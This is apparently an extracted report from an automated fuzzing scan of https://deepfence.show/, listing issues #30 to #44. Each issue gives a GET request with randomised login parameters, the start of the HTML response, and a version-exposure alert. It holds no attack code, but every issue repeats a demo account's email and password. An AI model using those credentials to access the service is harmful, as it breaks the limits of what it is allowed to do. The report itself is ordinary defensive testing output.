z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.Issue Number #30
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioMfOgfphn
DemoUser1# cw37NhWovs0n8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #31
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioeI9fbsOvhSbkU
DemoUser1# TZLakiResponse Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #32
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io7LjZde0BbNTgOVp
DemoUser1# 447x2MrZkDz
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #33
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioQOJQcWL0z8
DemoUser1# PvYK5Nj
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #34
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io70uZSnxP
DemoUser1# WWlXbHPiOQooNh
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #35
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iomQe4TUsT
DemoUser1# queMN
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #36
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io6cbs3OH50BH
DemoUser1# ymEJmEAi4NV6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #37Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ionI1btofFrF45g
DemoUser1# IJZkl
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #38
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioRcLTjDRNt
DemoUser1# V4DPLGVcVa9t
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #39
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioRuNBPFiVJes0K
DemoUser1# CgDCyuJ8NGJY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parametersdemouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #40
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioi6wlnBnFVmF
DemoUser1# pJy101gXm46
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #41
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.io0kd8g
DemoUser1# J5EJw
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #42
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io8XJQIB2nHYlE
DemoUser1# 3OqsbeAz9zvS
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #43
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io9Ka0hnAUe5vg2m
DemoUser1# 5WdaFc
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #44
Scan Fuzzing ScanSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUPzenRhgbAiNHI
DemoUser1# dXt8viT
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
